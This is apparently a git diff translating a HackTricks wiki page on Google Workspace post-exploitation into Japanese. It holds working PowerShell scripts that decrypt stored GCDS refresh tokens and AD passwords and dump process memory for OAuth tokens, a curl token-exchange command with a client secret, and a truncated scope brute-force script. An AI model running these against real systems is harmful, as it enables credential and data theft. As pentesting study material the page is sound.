ワークスペースは**グループに権限を付与する**ことも許可しているため(GCP権限も含む)、グループに参加でき、追加の権限がある場合、攻撃者は**その経路を悪用して権限を昇格**させる可能性があります。
|
||||
|
||||
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
組織内の誰でも参加できるグループに参加するには、コンソールへのアクセスが必要な場合があります。グループ情報は[**https://groups.google.com/all-groups**](https://groups.google.com/all-groups)で確認してください。
|
||||
|
||||
### Access Groups Mail info
|
||||
### アクセスグループメール情報
|
||||
|
||||
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
|
||||
もし**Googleユーザーセッションを侵害**できた場合、[**https://groups.google.com/all-groups**](https://groups.google.com/all-groups)から、ユーザーがメンバーであるメールグループに送信されたメールの履歴を確認でき、**資格情報**や他の**機密データ**を見つけることができるかもしれません。
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
## GCP <--> GWS ピボッティング
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
## テイクアウト - アカウントに関するGoogleのすべての情報をダウンロード
|
||||
|
||||
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
もし**被害者のGoogleアカウント内にセッションがある**場合、[**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)から、そのアカウントに関するGoogleが保存しているすべての情報をダウンロードできます。
|
||||
|
||||
## Vault - Download all the Workspace data of users
|
||||
## ボールト - ユーザーのワークスペースデータをすべてダウンロード
|
||||
|
||||
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
|
||||
もし組織が**Google Vaultを有効にしている**場合、[**https://vault.google.com**](https://vault.google.com/u/1/)にアクセスして、すべての**情報**を**ダウンロード**できるかもしれません。
|
||||
|
||||
## Contacts download
|
||||
## 連絡先のダウンロード
|
||||
|
||||
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
|
||||
[**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC)から、ユーザーのすべての**連絡先**をダウンロードできます。
|
||||
|
||||
## Cloudsearch
|
||||
## クラウドサーチ
|
||||
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
|
||||
[**https://cloudsearch.google.com/**](https://cloudsearch.google.com)では、ユーザーがアクセスできる**ワークスペースのすべてのコンテンツ**(メール、ドライブ、サイトなど)を検索できます。機密情報を**迅速に見つける**のに理想的です。
|
||||
|
||||
## Google Chat
|
||||
## Google チャット
|
||||
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
|
||||
[**https://mail.google.com/chat**](https://mail.google.com/chat)では、Googleの**チャット**にアクセスでき、会話の中に機密情報が含まれているかもしれません(もしあれば)。
|
||||
|
||||
## Google Drive Mining
|
||||
## Google ドライブマイニング
|
||||
|
||||
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
|
||||
ドキュメントを**共有**する際、アクセスできる**人々**を一人ずつ**指定**することができますが、**会社全体**(または特定の**グループ**)と**リンクを生成**して共有することもできます。
|
||||
|
||||
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
|
||||
ドキュメントを共有する際、詳細設定でこのファイルを**検索可能にする**こともできます(**デフォルト**では**無効**です)。ただし、ユーザーがドキュメントを表示すると、それは彼らによって検索可能になることに注意が必要です。
|
||||
|
||||
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
|
||||
簡単のために、ほとんどの人は一人ずつアクセスできる人を追加するのではなく、リンクを生成して共有します。
|
||||
|
||||
Some proposed ways to find all the documents:
|
||||
すべてのドキュメントを見つけるための提案された方法:
|
||||
|
||||
- Search in internal chat, forums...
|
||||
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
- 内部チャット、フォーラムで検索...
|
||||
- **スパイダー**既知の**ドキュメント**を検索して他のドキュメントへの**参照**を探す。これは[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)を使ってApp Script内で行うことができます。
|
||||
|
||||
## **Keep Notes**
|
||||
## **Keep ノート**
|
||||
|
||||
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
|
||||
[**https://keep.google.com/**](https://keep.google.com)では、ユーザーのノートにアクセスでき、**機密**の**情報**が保存されているかもしれません。
|
||||
|
||||
### Modify App Scripts
|
||||
### アプリスクリプトの修正
|
||||
|
||||
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
|
||||
[**https://script.google.com/**](https://script.google.com/)では、ユーザーのAPPスクリプトを見つけることができます。
|
||||
|
||||
## **Administrate Workspace**
|
||||
## **ワークスペースの管理**
|
||||
|
||||
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
|
||||
[**https://admin.google.com**/](https://admin.google.com)では、十分な権限があれば、組織全体のワークスペース設定を変更できるかもしれません。
|
||||
|
||||
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
また、[**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)でユーザーの請求書を検索することでメールを見つけることもできます。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+13
-17
@@ -4,12 +4,12 @@
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
|
||||
これは、Google Workspaceが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするための**トークン**が保存されます:ディスク、メモリ、レジストリ... **平文のパスワード**を取得することも可能です。
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報を取得し、**トークン**さえも取得できることに注意してください。
|
||||
|
||||
Find more information about this in:
|
||||
この件に関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gcpw-google-credential-provider-for-windows.md
|
||||
@@ -17,14 +17,14 @@ gcpw-google-credential-provider-for-windows.md
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です(執筆時点ではその逆はできません)。
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**が必要なツールであるため、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
|
||||
|
||||
Find more information about this in:
|
||||
この件に関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gcds-google-cloud-directory-sync.md
|
||||
@@ -32,14 +32,14 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
これは、Googleが提供するバイナリおよびサービスで、**ADとWorkspace間でユーザーのパスワードを同期させる**ためのものです。ユーザーがADでパスワードを変更するたびに、それがGoogleに設定されます。
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
`C:\Program Files\Google\Password Sync`にインストールされ、ここで設定するためのバイナリ`PasswordSync.exe`と、実行を続けるサービス`password_sync_service.exe`を見つけることができます。
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GPS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
|
||||
|
||||
Find more information about this in:
|
||||
この件に関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gps-google-password-sync.md
|
||||
@@ -47,16 +47,12 @@ gps-google-password-sync.md
|
||||
|
||||
## Admin Directory Sync
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
GCDSを使用してユーザーを同期するこの方法との主な違いは、GCDSはダウンロードして実行する必要があるバイナリを使用して手動で行われるのに対し、**Admin Directory Syncはサーバーレス**で、Googleによって管理されています [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)。
|
||||
|
||||
Find more information about this in:
|
||||
この件に関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-admin-directory-sync.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+134
-152
@@ -2,30 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です(執筆時点ではその逆はできません)。
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。
|
||||
|
||||
> [!NOTE]
|
||||
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> **`config-manager.exe`**バイナリに対して**MitM**を実行するには、`config.manager.vmoptions`ファイルに次の行を追加してください: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
|
||||
|
||||
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
|
||||
また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像のように:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
### GCDS - ディスクトークンとAD資格情報
|
||||
|
||||
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
|
||||
バイナリ`config-manager.exe`(GUIを持つ主要なGCDSバイナリ)は、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルに保存します。ただし、ユーザーの`Documents`や**他の任意のフォルダー**に保存される可能性もあります。
|
||||
|
||||
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
|
||||
|
||||
The most interesting information inside the file would be:
|
||||
さらに、レジストリ**`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**内のキー**`open.recent`**には、最近開かれたすべての構成ファイル(xml)のパスが含まれています。したがって、**それを確認して見つけることが可能です**。
|
||||
|
||||
ファイル内の最も興味深い情報は次のとおりです:
|
||||
```xml
|
||||
[...]
|
||||
<loginMethod>OAUTH2</loginMethod>
|
||||
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
|
||||
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
|
||||
注意してください、**refresh** **token** とユーザーの**password**は、**AES CBC**を使用してランダムに生成されたキーとIVで**encrypted**され、**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されています(**`prefs`** Javaライブラリが設定を保存する場所)で、文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64で保存されています。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell script to decrypt the refresh token and the password</summary>
|
||||
|
||||
<summary>refresh tokenとpasswordを復号化するためのPowershellスクリプト</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
|
||||
|
||||
# Open the registry key
|
||||
try {
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
}
|
||||
|
||||
# Get Base64-encoded IV and Key from the registry
|
||||
try {
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
}
|
||||
$regKey.Close()
|
||||
|
||||
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
|
||||
|
||||
# Function to decrypt data using AES CBC
|
||||
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
|
||||
return $plaintextBytes
|
||||
return $plaintextBytes
|
||||
}
|
||||
|
||||
# Decrypt the values
|
||||
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
|
||||
Write-Host "Decrypted Refresh Token: $refreshToken"
|
||||
Write-Host "Decrypted Password: $decryptedPassword"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
|
||||
> この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys` という文字列を検索することで確認できることに注意してください(これは、バイナリ **`upgrade-config.exe`** がキーをダンプするために期待するCLIパラメータです)。
|
||||
|
||||
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
|
||||
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータと共に使用し、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化するためにサイバーシェフを使用することも可能です。
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
### GCDS - メモリからのトークンのダンプ
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
GCPWと同様に、`config-manager.exe` プロセスのメモリをダンプすることが可能です(これはGCDSのGUIを持つメインバイナリの名前です)ので、リフレッシュトークンとアクセストークンを見つけることができます(すでに生成されている場合)。\
|
||||
ADに設定された資格情報も見つけることができると思います。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
|
||||
<summary>config-manager.exeプロセスをダンプしてトークンを検索する</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCDS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GCDS - リフレッシュトークンからアクセストークンを生成する
|
||||
|
||||
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます。
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCDS - Scopes
|
||||
### GCDS - スコープ
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> リフレッシュトークンを持っていても、アクセストークンのためにスコープをリクエストすることはできません。なぜなら、アクセストークンを生成しているアプリケーションでサポートされている**スコープのみをリクエストできる**からです。
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
|
||||
|
||||
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
デフォルトでは、GCSDはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
<summary>スコープをブルートフォースするためのBashスクリプト</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
